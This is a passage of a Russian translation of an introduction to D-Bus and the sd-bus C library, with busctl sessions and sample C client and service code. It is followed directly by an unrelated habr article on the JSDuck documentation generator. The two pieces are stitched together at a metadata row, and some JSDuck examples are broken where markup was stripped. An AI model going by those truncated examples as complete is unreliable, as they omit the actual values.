она поддерживает kdbus и сокеты в качестве серверной части, относительно минимальна, а [производительность существенно выше](http://lists.freedesktop.org/archives/systemd-devel/2015-May/031418.html), чем у libdbus и GDBus.
Вот краткие рекомендации, чтобы решить, какой из трех API использовать для вашего проекта на Си:
* Если вы разрабатываете проект GLib/GObject, GDBus определенно будет вашим лучшим выбором.
* Если для вас важна переносимость на ядра, отличные от Linux, включая Windows, Mac OS и другие UNIX, используйте либо GDBus (что более или менее означает использование GLib/GObject), либо libdbus (что требует большого количества ручной работы).
* В противном случае я бы рекомендовал использовать sd-bus.
(Я не рассматриваю здесь C++, речь идет только о простом Си. Но обратите внимание: если вы используете Qt, то QtDBus является предпочтительным API D-Bus, являясь оболочкой для libdbus.)
### Введение в концепции D-Bus
Непосвященному D-Bus обычно кажется относительно непрозрачной технологией. В нем используется множество концепций, которые на первый взгляд кажутся излишне сложными и избыточными. Но на самом деле они имеют большой смысл. Давайте посмотрим:
* *Шина* - это то место, где вы ищете услуги IPC. Обычно существует два типа шин: системная шина, одна на систему, на которой располагаются системные службы; и пользовательская шина, одна на каждого пользователя, на которой располагаются пользовательские службы, такие как адресная книга или почтовый клиент. (Первоначально пользовательская шина была на самом деле сеансовой это значит, что вы получаете несколько шин, если входите в систему много раз как один и тот же пользователь, и в большинстве настроек так и остается, но мы работаем над истинной пользовательской шиной, которая существует в единственном экземпляре для каждого пользователя в системе, независимо от того, сколько раз этот пользователь входит в систему.)
* *Сервис* - это программа, которая предлагает некоторый IPC API на шине. Служба идентифицируется именем в обратной нотации доменного имени. Таким образом, служба `org.freedesktop.NetworkManager` на системной шине - это то место, где доступны API-интерфейсы NetworkManager, а `org.freedesktop.login1` на системной шине - это место, где доступны API-интерфейсы `systemd-logind`.
* *Клиент* - это программа, которая использует некоторый IPC API на шине. Он общается с сервисом, контролирует его и, как правило, не предоставляет никаких услуг самостоятельно. При этом границы размыты, и многие службы также являются клиентами других служб. Часто термин *узел* используется как обобщение для обозначения сервиса или клиента.
* *Путь к объекту* - это идентификатор объекта в определенной службе. В некотором смысле это сравнимо с указателем Си, поскольку именно так вы обычно ссылаетесь на объект Си, если пишите объектно-ориентированные программы на Си. Однако указатели Си - это просто адреса памяти, и передача адресов памяти другим процессам не имеет смысла, поскольку они относятся к адресному пространству сервиса и клиент не может получить достап к ним. Таким образом, разработчики D-Bus придумали концепцию пути к объекту, который представляет собой просто строку, которая выглядит как путь в файловой системе. Пример: `/org/freedesktop/login1` - это путь к объекту «менеджер» сервиса `org.freedesktop.login1` (который, как мы помним из вышеизложенного, является сервисом systemd-logind). Поскольку пути к объектам структурированы как пути файловой системы, их можно аккуратно упорядочить в виде дерева и получить полное дерево объектов. Например, вы найдете все пользовательские сеансы, которыми управляет `systemd-logind` в ветке `/org/freedesktop/login1/session`, к примеру: `/org/freedesktop/login1/session/_7`, `/org/freedesktop/login1/session./_55` и так далее. Как сервисы именуют свои объекты и размещают их в дереве, полностью зависит от их разработчиков.
* Каждый объект, который определяется путем, имеет один или несколько *интерфейсов*. Интерфейс - это набор сигналов, методов и свойств (вместе называемых *членами*), которые связаны друг с другом. Концепция интерфейсов D-Bus на самом деле в значительной степени идентична тому, что вы знаете из языков программирования, таких как Java, которые её поддерживают. Какие интерфейсы реализует объект, определяют разработчики сервиса. Имена интерфейсов имеют обратную нотацию доменных имен, как и имена сервисов. (Да, это, по общему признанию, сбивает с толку, поскольку для простых сервисов довольно часто встречается использование строки имени сервиса также в качестве имени интерфейса.) Тем не менее, несколько интерфейсов стандартизированы, и вы найдете их доступными для многих объектов, реализуемых различными сервисами. В частности, это `org.freedesktop.DBus.Introspectable`, `org.freedesktop.DBus.Peer` и `org.freedesktop.DBus.Properties`.
* Интерфейс может содержать *методы*. Слово «метод» более или менее просто причудливое определение для «функции», и этот термин используется почти так же в объектно-ориентированных языках, таких как Java. Наиболее распространенное взаимодействие между узлами D-Bus заключается в том, что один узел вызывает метод на другом узле и получает ответ. Метод D-Bus принимает и возвращает несколько параметров. Параметры передаются безопасным для типов способом, а информация о типе включается в данные интроспекции, которые вы можете запросить у каждого объекта. Обычно имена методов (и других типов членов) следуют синтаксису *CamelCase*. Например, `systemd-logind` предоставляет метод `ActivateSession` в интерфейсе `org.freedesktop.login1.Manager`, который доступен в объекте `/org/freedesktop/login1` сервиса `org.freedesktop.login1`.
* *Сигнатура* описывает набор параметров, которые принимает или возвращает функция (или сигнал, свойство, см. ниже). Это последовательность символов, каждый из которых определяет тип соответствующего параметра. Набор доступных типов довольно мощный. Например, есть более простые типы, такие как `s` для строки или `u` для 32-битного целого числа, но также и сложные типы, такие как `as` для массива строк или `a(sb)` для массива структур, состоящих из одной строки и одного логического значения. См. [Спецификацию D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html#type-system), где приводится полное описание системы типов. Упомянутый выше метод `ActivateSession` принимает одну строку в качестве параметра (сигнатура параметра, следовательно, равна `s`) и ничего не возвращает (сигнатура возврата, следовательно, является пустой строкой). Конечно, сигнатура может быть намного сложнее, другие примеры см. ниже.
* *Сигнал* - это еще один тип элемента, определяемый в объектной системе D-Bus. Как и у метода, у него есть сигнатура. Однако они служат разным целям. В то время как в вызове метода один клиент отправляет запрос к одному сервису, и этот сервис возвращает ответ клиенту, сигналы предназначены для общего уведомления узлов. Сервисы отправляют их, когда хотят сообщить одному или нескольким узлам на шине, что что-то произошло или изменилось. В отличие от вызовов методов и их ответов, они обычно транслируются по всей шине. В то время как вызовы/ответы методов используются для дуплексной связи один-к-одному, сигналы обычно используются для симплексной связи один-ко-многим (обратите внимание, что это не является обязательным требованием, их также можно использовать один-к-одному). Пример: `systemd-logind` передает сигнал `SessionNew` от своего объекта-менеджера каждый раз, когда пользователь входит в систему, и сигнал `SessionRemoved` каждый раз, когда пользователь выходит из системы.
* *Свойство* - это третий тип элементов, определяемый в объектной системе D-Bus. Это похоже на концепцию свойств, известную в таких языках, как C#. Свойства также имеют сигнатуру. Они представляют собой переменные, предоставляемые объектом, которые могут быть прочитаны или изменены клиентами. Пример: `systemd-logind` предоставляет свойство `Docked` с сигнатурой `b` (логическое значение). Оно отражает, считает ли `systemd-logind`, что система в настоящее время находится в док-станции (применимо только к ноутбукам).
D-Bus определяет много различных концепций. Конечно, все эти новые концепции могут быть непонятными. Давайте посмотрим на них с другой точки зрения. Я предполагаю, что многие из читателей имеют представление о сегодняшних веб-технологиях, в частности о HTTP и REST. Попробуем сравнить концепцию HTTP-запроса с концепцией вызова метода D-Bus:
* HTTP-запрос, который вы отправляете в определенной сети. Это может быть Интернет, ваша локальная сеть или корпоративный VPN. В зависимости от того, в какой сети вы отправляете запрос, вы сможете общаться с определённым набором серверов. Это мало чем отличается от «шинной» концепции D-Bus.
* Затем в сети вы выбираете конкретный HTTP-сервер для общения. Это примерно сопоставимо с выбором сервиса на конкретной шине.
* Затем на HTTP-сервере вы запрашиваете конкретный URL-адрес. Часть URL-адреса, определяющая путь (под которой я подразумеваю все после имени хоста сервера, вплоть до последнего «/») очень похожа на путь к объекту D-Bus.
* «Файловая» часть URL-адреса (под которой я подразумеваю все, что находится после последней косой черты, следующее за путём, который описан выше), определяет фактический вызов, который нужно сделать. В D-Bus это может быть сопоставлено с именем интерфейса и метода.
* Наконец, параметры HTTP-вызова следуют в пути после знака «?», Они отображаются на сигнатуру вызова D-Bus.
Конечно, сравнение HTTP-запроса с вызовом метода D-Bus похоже на сравнение яблок и апельсинов. Тем не менее, я думаю, что полезно получить представление о том, что чему соответствует.
### Из оболочки
Так много о концепциях и стоящей за ними серой теории. Давайте сделаем это увлекательным, давайте посмотрим, как это ощущается в реальной системе.
Некоторое время назад в systemd был включен инструмент busctl, который полезен для изучения и взаимодействия с объектной системой D-Bus. При вызове без параметров он покажет вам список всех узлов, подключенных к системной шине. (Вместо этого используйте --user, чтобы увидеть узлы вашей пользовательской шины):
```
$ busctl
NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION
:1.1 1 systemd root :1.1 - - -
:1.11 705 NetworkManager root :1.11 NetworkManager.service - -
:1.14 744 gdm root :1.14 gdm.service - -
:1.4 708 systemd-logind root :1.4 systemd-logind.service - -
:1.7200 17563 busctl lennart :1.7200 session-1.scope 1 -
[…]
org.freedesktop.NetworkManager 705 NetworkManager root :1.11 NetworkManager.service - -
org.freedesktop.login1 708 systemd-logind root :1.4 systemd-logind.service - -
org.freedesktop.systemd1 1 systemd root :1.1 - - -
org.gnome.DisplayManager 744 gdm root :1.14 gdm.service - -
[…]
```
(Я немного сократил вывод, чтобы быть кратким).
Список начинается с узлов, подключенных в данный момент к шине. Они идентифицируются по именам, например ":1.11". В номенклатуре D-Bus они называются *уникальными именами*. По сути, каждый узел имеет уникальное имя, и они назначаются автоматически, когда узел подключается к шине. Если хотите, они очень похожи на IP-адрес. Вы заметите, что несколько узлов уже подключены, включая сам наш небольшой инструмент busctl, а также ряд системных сервисов. Затем в списке отображаются все текущие сервисы на шине, идентифицируемые по именам сервисов (как обсуждалось выше; чтобы отличить их от уникальных имен, они также называются *хорошо известными именами*). Во многих отношениях хорошо известные имена похожи на имена хостов DNS, то есть они являются более удобным способом ссылки на узел, но на нижнем уровне они просто сопоставляются с IP-адресом или, в этом сравнении, с уникальным именем. Подобно тому, как вы можете подключиться к хосту в Интернете либо по его имени, либо по его IP-адресу, вы также можете подключиться к узлу шины либо по его уникальному, либо по его общеизвестному имени. (Обратите внимание, что каждый узел может иметь сколько угодно хорошо известных имен, подобно тому, как IP-адрес может иметь несколько имен хостов, ссылающихся на него).
Ладно, это уже круто. Попробуйте сами, на своем локальном компьютере (все, что вам нужно, это современный дистрибутив на основе systemd).
Теперь перейдем к следующему шагу. Посмотрим, какие объекты на самом деле предлагает сервис org.freedesktop.login1:
```
$ busctl tree org.freedesktop.login1
└─/org/freedesktop/login1
├─/org/freedesktop/login1/seat
│ ├─/org/freedesktop/login1/seat/seat0
│ └─/org/freedesktop/login1/seat/self
├─/org/freedesktop/login1/session
│ ├─/org/freedesktop/login1/session/_31
│ └─/org/freedesktop/login1/session/self
└─/org/freedesktop/login1/user
├─/org/freedesktop/login1/user/_1000
└─/org/freedesktop/login1/user/self
```
Красиво, не правда ли? Что на самом деле еще приятнее и чего не видно в выводе, так это то, что доступно полное автозавершение слов из командной строки: когда вы нажимаете TAB, оболочка автоматически заполняет имена служб за вас. Это замечательный инструмент для исследования объектов D-Bus!
В выводе показаны некоторые объекты, которые вы можете узнать из объяснений выше. А теперь пойдем дальше. Давайте посмотрим, какие интерфейсы, методы, сигналы и свойства фактически предоставляет один из этих объектов:
```
$ busctl introspect org.freedesktop.login1 /org/freedesktop/login1/session/_31
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
org.freedesktop.DBus.Introspectable interface - - -
.Introspect method - s -
org.freedesktop.DBus.Peer interface - - -
.GetMachineId method - s -
.Ping method - - -
org.freedesktop.DBus.Properties interface - - -
.Get method ss v -
.GetAll method s a{sv} -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
org.freedesktop.login1.Session interface - - -
.Activate method - - -
.Kill method si - -
.Lock method - - -
.PauseDeviceComplete method uu - -
.ReleaseControl method - - -
.ReleaseDevice method uu - -
.SetIdleHint method b - -
.TakeControl method b - -
.TakeDevice method uu hb -
.Terminate method - - -
.Unlock method - - -
.Active property b true emits-change
.Audit property u 1 const
.Class property s "user" const
.Desktop property s "" const
.Display property s "" const
.Id property s "1" const
.IdleHint property b true emits-change
.IdleSinceHint property t 1434494624206001 emits-change
.IdleSinceHintMonotonic property t 0 emits-change
.Leader property u 762 const
.Name property s "lennart" const
.Remote property b false const
.RemoteHost property s "" const
.RemoteUser property s "" const
.Scope property s "session-1.scope" const
.Seat property (so) "seat0" "/org/freedesktop/login1/seat... const
.Service property s "gdm-autologin" const
.State property s "active" -
.TTY property s "/dev/tty1" const
.Timestamp property t 1434494630344367 const
.TimestampMonotonic property t 34814579 const
.Type property s "x11" const
.User property (uo) 1000 "/org/freedesktop/login1/user/_1... const
.VTNr property u 1 const
.Lock signal - - -
.PauseDevice signal uus - -
.ResumeDevice signal uuh - -
.Unlock signal - - -
```
Как и раньше, команда busctl поддерживает автозавершение командной строки, поэтому и имя службы, и путь к объекту легко объединяются в оболочке простым нажатием TAB. Вывод показывает методы, свойства, сигналы одного из объектов сеанса, который в настоящее время доступен через `systemd-logind`. Есть раздел для каждого интерфейса, который известен объекту. Во втором столбце указывается тип члена. В третьем столбце отображается сигнатура члена. В случае методов, она описывает входные параметры. Четвертый столбец показывает возвращаемые параметры. Для свойств четвертый столбец кодирует их текущее значение.
Пока что мы только исследовали. Теперь сделаем следующий шаг: станем активными - вызовем метод:
```
# busctl call org.freedesktop.login1 /org/freedesktop/login1/session/_31 org.freedesktop.login1.Session Lock
```
Я не думаю, что мне нужно больше об этом упоминать, но в любом случае: снова доступно полное автозавершение командной строки. Третий аргумент - это имя интерфейса, четвертый - имя метода, оба могут быть легко заполнены нажатием TAB. В этом случае мы выбрали метод `Lock`, который активирует блокировку экрана для определенного сеанса. И оп, в тот момент, когда я нажал Enter в этой строке, у меня включилась блокировка экрана (это работает только на оконных менеджерах, которые правильно подключаются к systemd-logind. GNOME работает нормально, и KDE тоже должен работать).
Выбранный нами вызов метода `Lock` очень прост, поскольку он не принимает никаких параметров и не возвращает их. Конечно, для некоторых вызовов всё может быть сложнее. Вот еще один пример, на этот раз с использованием одного из вызовов на собственной шине systemd для запуска произвольного системного модуля:
```
# busctl call org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager StartUnit ss "cups.service" "replace"
o "/org/freedesktop/systemd1/job/42684"
```
Этот вызов принимает две строки в качестве входных параметров, как описано в сигнатуре, которая следует за именем метода (как обычно, автозавершение командной строки помогает вам понять, как ввести параметры правильно). Следующие за сигнатурой два параметра - это просто две передаваемые строки. Таким образом, сигнатура указывает, какие параметры будут дальше. Вызов метода StartUnit systemd принимает имя модуля для запуска в качестве первого параметра и режим, в котором он запускается, в качестве второго. Вызов возвращает значение пути к объекту. Он кодируется так же, как входной параметр: сигнатура (только o для пути к объекту), за которой следует фактическое значение.
Конечно, некоторые параметры вызова методов могут быть намного сложнее, но с `busctl` их все относительно легко закодировать. См. подробности на [странице руководства](http://www.freedesktop.org/software/systemd/man/busctl.html).
`busctl` поддерживает ряд других операций. Например, вы можете использовать его для мониторинга трафика D-Bus по мере его возникновения (включая создание файла `.cap` для использования с Wireshark!) Или вы можете установить или получить определенные свойства. Тем не менее, этот пост должен быть о sd-bus, а не `busctl`, поэтому давайте кратко остановимся здесь и позвольте мне направить вас на страницу руководства на случай, если вы хотите узнать больше об этом инструменте.
`busctl` (как и остальная часть системы) реализован с использованием API sd-bus. Таким образом, он раскрывает многие особенности самой sd-bus. Например, вы можете использовать его для подключения к удаленным или контейнерным шинам. Он поддерживает как kdbus, так и классический D-Bus, и многое другое!
### sd-bus
Но хватит! Вернемся к теме, поговорим о самой sd-bus.
Набор API sd-bus в основном содержится в заголовочном файле sd-bus.h.
Вот неполный список функций библиотеки, которые позволяют ей хорошо сравниваться с другими доступными реализациями.
* Поддерживает как kdbus, так и dbus1 в качестве серверной части.
* Имеет высокоуровневую поддержку подключения к удаленным шинам по ssh и шинам локальных контейнеров ОС.
* Мощная модель учетных данных для реализации аутентификации клиентов в сервисах. В настоящее время поддерживаются 34 отдельных поля, от PID клиента до контрольной группы или наборов возможностей.
* Поддержка отслеживания жизненного цикла узлов для автоматического освобождения локальных объектов, когда все узлы, ссылающиеся на них, отключены.
* Клиент строит эффективное дерево решений, чтобы определить, каким обработчикам доставить входящее сообщение шины.
* Автоматически переводит ошибки D-Bus в ошибки стиля UNIX и обратно (хотя с потерями), чтобы обеспечить лучшую интеграцию D-Bus в низкоуровневые программы Linux.
* Мощная, но легкая объектная модель для отображения локальных объектов на шине. При необходимости автоматически генерирует самоанализ.
В настоящее время API полностью не документирован, но мы работаем над завершением набора справочных страниц. Подробности смотрите на всех [страницах](http://www.freedesktop.org/software/systemd/man/index.html#S), начинающихся с `sd_bus_`.
### Вызов метода из Си с помощью sd-bus
Так много о библиотеке в целом. Вот пример подключения к шине и выполнения вызова метода:
```
#include
#include
#include
int main(int argc, char \*argv[]) {
sd\_bus\_error error = SD\_BUS\_ERROR\_NULL;
sd\_bus\_message \*m = NULL;
sd\_bus \*bus = NULL;
const char \*path;
int r;
/\* Connect to the system bus \*/
r = sd\_bus\_open\_system(&bus);
if (r < 0) {
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}
/\* Issue the method call and store the respons message in m \*/
r = sd\_bus\_call\_method(bus,
"org.freedesktop.systemd1", /\* service to contact \*/
"/org/freedesktop/systemd1", /\* object path \*/
"org.freedesktop.systemd1.Manager", /\* interface name \*/
"StartUnit", /\* method name \*/
&error, /\* object to return error in \*/
&m, /\* return message on success \*/
"ss", /\* input signature \*/
"cups.service", /\* first argument \*/
"replace"); /\* second argument \*/
if (r < 0) {
fprintf(stderr, "Failed to issue method call: %s\n", error.message);
goto finish;
}
/\* Parse the response message \*/
r = sd\_bus\_message\_read(m, "o", &path);
if (r < 0) {
fprintf(stderr, "Failed to parse response message: %s\n", strerror(-r));
goto finish;
}
printf("Queued service job as %s.\n", path);
finish:
sd\_bus\_error\_free(&error);
sd\_bus\_message\_unref(m);
sd\_bus\_unref(bus);
return r < 0 ? EXIT\_FAILURE : EXIT\_SUCCESS;
}
```
Сохраните этот пример как `bus-client.c`, а затем соберите его с помощью:
```
$ gcc bus-client.c -o bus-client `pkg-config --cflags --libs libsystemd`
```
Будет сгенерирован исполняемый файл `bus-client`, который вы теперь можете запустить. Обязательно запускайте его как root, поскольку доступ к методу `StartUnit` является привилегированным:
```
# ./bus-client
Queued service job as /org/freedesktop/systemd1/job/3586.
```
И это уже наш первый пример. Он показал, как мы вызывали метод на шине. Фактически вызов метода очень близок к инструменту командной строки `busctl`, который мы использовали ранее. Я надеюсь, что отрывок из кода не требует дополнительных пояснений. Он должен дать вам представление о том, как писать клиентов D-Bus с помощью sd-bus. Для получения дополнительной информации, пожалуйста, просмотрите заголовочный файл, страницу руководства или даже исходники sd-bus.
### Реализация сервиса на Си с помощью sd-bus
Конечно, простой вызов одного метода - довольно упрощенный пример. Давайте посмотрим, как написать сервис шины. Мы напишем небольшой сервис калькулятора. Он предоставляет объект реализующий интерфейс, который предоставляет два метода: один для умножения двух 64-битных целых чисел со знаком, а другой для деления одного 64-битного целого числа со знаком на другое.
```
#include
#include
#include
#include
static int method\_multiply(sd\_bus\_message \*m, void \*userdata, sd\_bus\_error \*ret\_error) {
int64\_t x, y;
int r;
/\* Read the parameters \*/
r = sd\_bus\_message\_read(m, "xx", &x, &y);
if (r < 0) {
fprintf(stderr, "Failed to parse parameters: %s\n", strerror(-r));
return r;
}
/\* Reply with the response \*/
return sd\_bus\_reply\_method\_return(m, "x", x \* y);
}
static int method\_divide(sd\_bus\_message \*m, void \*userdata, sd\_bus\_error \*ret\_error) {
int64\_t x, y;
int r;
/\* Read the parameters \*/
r = sd\_bus\_message\_read(m, "xx", &x, &y);
if (r < 0) {
fprintf(stderr, "Failed to parse parameters: %s\n", strerror(-r));
return r;
}
/\* Return an error on division by zero \*/
if (y == 0) {
sd\_bus\_error\_set\_const(ret\_error, "net.poettering.DivisionByZero", "Sorry, can't allow division by zero.");
return -EINVAL;
}
return sd\_bus\_reply\_method\_return(m, "x", x / y);
}
/\* The vtable of our little object, implements the net.poettering.Calculator interface \*/
static const sd\_bus\_vtable calculator\_vtable[] = {
SD\_BUS\_VTABLE\_START(0),
SD\_BUS\_METHOD("Multiply", "xx", "x", method\_multiply, SD\_BUS\_VTABLE\_UNPRIVILEGED),
SD\_BUS\_METHOD("Divide", "xx", "x", method\_divide, SD\_BUS\_VTABLE\_UNPRIVILEGED),
SD\_BUS\_VTABLE\_END
};
int main(int argc, char \*argv[]) {
sd\_bus\_slot \*slot = NULL;
sd\_bus \*bus = NULL;
int r;
/\* Connect to the user bus this time \*/
r = sd\_bus\_open\_user(&bus);
if (r < 0) {
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}
/\* Install the object \*/
r = sd\_bus\_add\_object\_vtable(bus,
&slot,
"/net/poettering/Calculator", /\* object path \*/
"net.poettering.Calculator", /\* interface name \*/
calculator\_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to issue method call: %s\n", strerror(-r));
goto finish;
}
/\* Take a well-known service name so that clients can find us \*/
r = sd\_bus\_request\_name(bus, "net.poettering.Calculator", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}
for (;;) {
/\* Process requests \*/
r = sd\_bus\_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /\* we processed a request, try to process another one, right-away \*/
continue;
/\* Wait for the next request to process \*/
r = sd\_bus\_wait(bus, (uint64\_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}
finish:
sd\_bus\_slot\_unref(slot);
sd\_bus\_unref(bus);
return r < 0 ? EXIT\_FAILURE : EXIT\_SUCCESS;
}
```
Сохраните этот пример как `bus-service.c`, а затем соберите его с помощью:
```
$ gcc bus-service.c -o bus-service `pkg-config --cflags --libs libsystemd`
```
А теперь запустим:
```
$ ./bus-service
```
В другом терминале попробуем с ним поговорить. Обратите внимание, что эта служба теперь находится на пользовательской шине, а не на системной шине, как раньше. Мы делаем это для простоты: доступ к сервисам на системной шине строго контролируется, поэтому непривилегированные клиенты не могут запрашивать привилегированные операции. Однако на пользовательской шине все проще: поскольку только процессы пользователя, владеющего шиной, могут подключиться, дальнейшее применение политики не усложнит этот пример. Поскольку служба находится на пользовательской шине, мы должны передать параметр --user в командной строке busctl. Начнем с просмотра дерева объектов сервиса.
```
$ busctl --user tree net.poettering.Calculator
└─/net/poettering/Calculator
```
Как мы видим, в сервисе есть только один объект, что неудивительно, учитывая, что наш код выше зарегистрировал только один. Давайте посмотрим интерфейсы и члены, которые предоставляет этот объект:
```
$ busctl --user introspect net.poettering.Calculator /net/poettering/Calculator
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
net.poettering.Calculator interface - - -
.Divide method xx x -
.Multiply method xx x -
org.freedesktop.DBus.Introspectable interface - - -
.Introspect method - s -
org.freedesktop.DBus.Peer interface - - -
.GetMachineId method - s -
.Ping method - - -
org.freedesktop.DBus.Properties interface - - -
.Get method ss v -
.GetAll method s a{sv} -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
```
Как упоминалось выше, библиотека sd-bus автоматически добавила пару универсальных интерфейсов. Но первый интерфейс, который мы видим, на самом деле тот, который мы добавили! Он показывает наши два метода, и оба принимают «xx» (два 64-битных целых числа со знаком) в качестве входных параметров и возвращают один «x». Отлично! Но правильно ли это работает?
```
$ busctl --user call net.poettering.Calculator /net/poettering/Calculator net.poettering.Calculator Multiply xx 5 7
x 35
```
Вау! Мы передали два целых числа 5 и 7, и служба фактически умножила их для нас и вернула одно целое число 35! Попробуем другой метод:
```
$ busctl --user call net.poettering.Calculator /net/poettering/Calculator net.poettering.Calculator Divide xx 99 17
x 5
```
Ух ты! Он может даже делать целочисленное деление! Фантастика! Но давайте обманем его делением на ноль:
```
$ busctl --user call net.poettering.Calculator /net/poettering/Calculator net.poettering.Calculator Divide xx 43 0
Sorry, can't allow division by zero.
```
Отлично! Он прекрасно это обнаружил и вернул чистую ошибку. Если вы посмотрите на приведенный выше пример исходного кода, вы увидите, насколько точно мы сгенерировали ошибку.
И это действительно всё, что у меня есть на сегодня. Конечно, примеры, которые я показал, короткие, и я не буду вдаваться в подробности того, что именно делает каждая строка. Однако этот пост должен быть кратким введением в D-Bus и sd-bus, и это уже слишком много для него...
Надеюсь, этот пост был вам полезен. Если вы заинтересованы в использовании sd-bus для своих собственных программ, я надеюсь, он поможет вам. Если у вас есть дополнительные вопросы, посмотрите (неполные) страницы руководства и спросите нас в IRC или в списке рассылки systemd. Если вам нужно больше примеров, взгляните на дерево исходных текстов systemd, все многочисленные шинные сервисы systemd широко используют sd-bus. | https://habr.com/ru/post/551532/ | null | ru | null |
# JSDuck — генератор документации
Документирование является неотъемлемой частью хорошего кода и проекта в целом. Хорошие разработчики тратят много времени на поддержку документации, но в дальнейшем это окупается с лихвой: экономит время на поддержке кода, его расширении и исправлении багов, позволяет сократить время на погружение в проект новых разработчиков и т.д. Так же, хорошо документированный код неявно стимулирует разработчика к применению стандартов кодирования.
[Введение](#intro)
[Установка](#install)
[Конфигурирование и запуск](#config)
[Документирование кода](#doc)
[Дополнительные страницы документации](#pages)
[Вместо заключения](#end)
#### Введение
Подробная документация находится на сайте проекта [JSDuck](https://github.com/senchalabs/jsduck/wiki).
В данной статье произведен краткий обзор возможностей JSDuck и некоторые советы по использованию.
Генератор может быть использован для любого кода, задокументированного согласно его стандартам. Приложения, созданные на [ExtJS](http://www.sencha.com/products/extjs/), поддерживают автоматическое создание документации, так как генератор изначально создавался для Sencha и позволяет распознавать синтаксис ExtJS.
Сгенерированная документация выглядит точно так же как [официальная документация ExtJS](http://docs.sencha.com/extjs/4.2.1/#!/api).
#### Установка
`gem install jsduck`
**Linux**: необходимо установить дополнительный пакет dev для Ruby. Для Debian необходим пакет ruby1.9-dev (Ruby 1.9). Для Red Hat / CentOS / Fedora необходим пакет ruby-devel.
**Windows**: необходимо установить [Ruby](http://rubyinstaller.org/downloads/) и [Development Kit](https://github.com/oneclick/rubyinstaller/wiki/Development-Kit)
#### Конфигурирование и запуск
Запуск генератора осуществляется из командной строки
`$ jsduck`
При этом, вся конфигурация должна быть описана по умолчанию в файле `jduck.json`, находящемся в этой же директории.
Можно все параметры конфигурации описывать в командной строке, не используя файл конфигурации. Например
`$ jsduck path/to/src --output docs`
Но я не рекомендую этого делать, если у вас очень много параметров конфигурации. Это очень не удобно и не наглядно.
Также можно указать другой путь к файлу конфигурации, если в этом есть необходимость. Например
`$ jsduck --config=mypath/to/myconfig.json`
Справку по всем параметрам командной строки можно посмотреть командой
`$ jsduck --help`
Все параметры могут быть использованы как из командной строки, так и в файле конфигурации.
##### Пример файла конфигурации
```
{
"--title": "My Application Docs",
"--warnings": [
"-all:path/to/extjs/src"
],
"--output": "docs",
"--": [
"path/to/extjs/src",
"path/to/my/app"
]
}
```
Краткое описание параметров:
title — титульный заголовок на странице документации.
warnings — позволяет управлять потоком предупреждений, которые пишутся в консоль, если документированный код не соответствует самому коду. В приведенном примере с помощью опции "-all" игнорируются все предупреждения, возникающие в фреймворке extjs.
output — директория сгенерированной документации.
В последней секции "--" перечисляются директории с исходниками, из которых должна быть сгенерированна документация.
#### Документирование кода
```
/**
* Это блок документации, который может содержать в себе текст в формате Markdown
* и метатеги, начинающиеся с "@" (собака).
*/
```
Блок кода выглядит достаточно стандартно. Внутри него можно использовать специальный формат оформления [Markdown](http://daringfireball.net/projects/markdown/syntax).
Помимо парсинга в блоках JSDuck анализирует код, и генерирует документацию, даже без наличия блоков, там где это возможно.
Рассмотрим некоторые распространенные метатеги.
##### class
Документирует имя класса.
```
/**
* @class MyClass
* Описание класса MyClass.
*/
```
Может распознаваться автоматически в следующих случаях.
```
/**
* Имя класса распознается автоматически.
*/
function MyClass() {
}
/**
* Имя класса распознается автоматически.
*/
MyApp.MyClass = function() {
};
/**
* Имя класса распознается автоматически.
*/
Ext.define("MyApp.MyClass ", {
extend: "Ext.Component",
...
});
```
##### param
Документирует параметры для методов и событий.
```
/**
* @param {Type} name Описание параметра name.
*/
```
Документирование типа описано в этом [гайде](https://github.com/senchalabs/jsduck/wiki/Type-Definitions).
Параметры могут распознаваться автоматически.
```
/**
* Sets the width and height of the panel.
*/
function setSize(width, height) {
}
```
эквивалентно
```
/**
* @method setSize
* Sets the width and height of the panel.
* @param width
* @param height
*/
```
##### Перекрестные ссылки
Для указания ссылок внутри блока на другой класс или член класса (свойства, методы) используется тег `{@link}`. Общий формат:
`{@link Class#member link text}`
text можно не указывать, им удобно пользоваться в том случае, если имя класса чересчур длинное. Ссылки могут быть распознаны автоматически, например
```
/**
* Вид реализуется в классе Office.view.Main. В стандартном подходе ExtJS,
* при создании вида используется класс Ext.container.Viewport.
*/
```
В этом примере, автоматически будут созданы ссылки на Office.view.Main и Ext.container.Viewport.
В случае, если ссылки не указывают на реально существующие классы, то в консоли будет выведено предупреждение.
Более подробную информацию о метатегах смотрите в [документации](https://github.com/senchalabs/jsduck/wiki#wiki-syntax) и в [гайде](https://github.com/senchalabs/jsduck/wiki/Guide).
#### Дополнительные страницы документации
По умолчанию генератор создает страницу с api приложения. С помощью конфигурации JSDuck можно дополнительно добавить следующие страницы в документацию:
* страница приветствия
* страница с категориями
* страница с руководством
* страница с примерами
Страница с руководством очень полезная, она может содержать документацию процессов развертывания и сборки приложения, настройки, использования компонентов и т.д. Особенно рекомендую использовать ее, вместо текстовых файлов, в которых обычно содержится описание приложения, и которые бывают разбросаны по различным директориям проекта. Соберите все в одном месте!
##### Страница приветствия
Пример страницы приветствия смотрите на [официальном сайте](http://docs.sencha.com/extjs/4.2.1/#). Если ваш проект не является открытым для всех, то смысла в этой странице, по большому счету, нет.
Эта страница состоит из одного html-файла, который содержит только код внутри тега ````
, без каких-либо начальных заголовков. Пример
Приветствую в нашей обители!
============================
```
Для подключения страницы к документации необходимо указать параметр `--welcome` в конфигурации генератора
```
{
"--title": "My Application Docs",
"--welcome": "path/to/my/welcome.html",
...
}
```
Для подключения собственных стилей к странице используется параметр `--head-html`. Пример
```
"--head-html": ''
```
##### Страница с руководством
На официальном сайте страница выглядит [так](http://docs.sencha.com/extjs/4.2.1/#!/guide).
